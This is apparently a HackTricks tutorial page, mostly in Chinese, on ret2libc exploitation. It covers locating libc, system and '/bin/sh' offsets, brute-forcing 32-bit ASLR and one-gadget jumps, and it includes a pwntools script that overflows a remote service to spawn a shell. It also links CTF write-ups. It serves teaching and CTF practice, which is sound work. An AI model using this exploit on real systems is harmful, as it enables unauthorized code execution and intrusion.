Ret2lib
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
The essence of Ret2Libc is to redirect the execution flow of a vulnerable program to a function within a shared library (e.g., system, execve, strcpy) instead of executing attacker-supplied shellcode on the stack. The attacker crafts a payload that modifies the return address on the stack to point to the desired library function, while also arranging for any necessary arguments to be correctly set up according to the calling convention.
示例步骤(简化)
- 获取要调用函数的地址(例如 system)以及要执行的命令(例如 /bin/sh)
- 生成 ROP chain,将第一个参数设置为指向命令字符串,并将执行流指向该函数
查找地址
- Supposing that the
libcused is the one from current machine you can find where it’ll be loaded in memory with:
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
如果你想检查 ASLR 是否改变了 libc 的地址,你可以这样做:
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
- 知道使用的 libc 后,也可以找到
system函数的偏移,方法如下:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
- 在已知所用 libc 的情况下,也可以用以下方法找到字符串
/bin/sh的偏移:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
使用 gdb-peda / GEF
知道所使用的 libc 后,也可以使用 Peda 或 GEF 获取 system 函数、exit 函数 和 字符串 /bin/sh 的地址:
p system
p exit
find "/bin/sh"
Using /proc/<PID>/maps
如果该进程在你与之交互(例如网络服务)时每次都会创建 子进程,尝试 读取 该文件(可能需要 root 权限)。
在这里你可以找到进程内 libc 精确加载的位置,以及每个子进程将 要加载的位置。
.png)
在这个例子中它被加载在 0xb75dc000(这将是 libc 的基址)
Unknown libc
有可能你 不知道 binary 正在加载哪个 libc(因为它可能位于你无访问权限的服务器上)。在这种情况下,你可以利用漏洞 leak 一些地址并找出使用的 libc:
你可以在以下位置找到一个用于此的 pwntools 模板:
用两个偏移来确定 libc
访问页面 https://libc.blukat.me/,使用 libc 中函数的 几个地址 来找出 使用的版本。
Bypassing ASLR in 32 bits
这些暴力破解攻击 仅对 32bit 系统 有用。
- 如果漏洞利用是本地的,你可以尝试对 libc 的基址进行暴力穷举(对 32bit 系统有用):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- 如果攻击一个 remote server,你可以尝试 burte-force the address of the
libcfunctionusleep,传入参数 10(例如)。如果在某个时刻 server 响应额外延迟 10s,说明你找到了该函数的地址。
One Gadget
只需跳转到 libc 中的 一个 特定 地址 即可执行一个 shell:
x86 Ret2lib 代码示例
在这个例子中,ASLR brute-force 集成在代码中,vulnerable binary 位于 remote server:
from pwn import *
c = remote('192.168.85.181',20002)
c.recvline()
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()
x64 Ret2lib 代码示例
Check the example from:
ARM64 Ret2lib 示例
在 ARM64 的情况下,ret 指令跳转到 x30 寄存器 指向的位置,而不是栈寄存器 指向的位置。所以会更复杂一些。
另外在 ARM64 中,指令就是指令(不能在指令的中间跳转并把它们变成新的指令)。
Check the example from:
Ret-into-printf (or puts)
This allows to leak information from the process by calling printf/puts with some specific data placed as an argument. For example putting the address of puts in the GOT into an execution of puts will leak the address of puts in memory.
Ret2printf
This basically means abusing a Ret2lib to transform it into a printf format strings vulnerability by using the ret2lib to call printf with the values to exploit it (sounds useless but possible):
Other Examples & references
- https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
- Ret2lib,在已 leak 到 libc 中某函数地址的情况下,使用 one gadget
- https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
- 64 bit,启用 ASLR 但没有 PIE,第一步是利用 overflow 填充直到 canary 的 0x00 字节,然后调用 puts 并 leak 它。得到 canary 后,构造 ROP gadget 来调用 puts 从 GOT leak puts 的地址,然后再用一个 ROP gadget 调用
system('/bin/sh') - https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
- 64 bits,启用 ASLR,无 canary,main 存在来自子函数的栈溢出。构造 ROP gadget 调用 puts 从 GOT leak puts 的地址,然后调用 one gadget。
- https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html
- 64 bits,无 pie、无 canary、无 relro,有 nx。使用 write 函数 leak write(libc)的地址并调用 one gadget。
- https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html
- 使用 format string leak 栈上的 canary,并利用缓冲区溢出调用 system(它在 GOT 中),参数为
/bin/sh的地址。 - https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html
- 32 bit,无 relro、无 canary、有 nx、有 pie。滥用错误索引从栈 leak libc 和 heap 的地址。滥用缓冲区溢出做 ret2lib 调用
system('/bin/sh')(需要 heap 地址以绕过检查)。
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


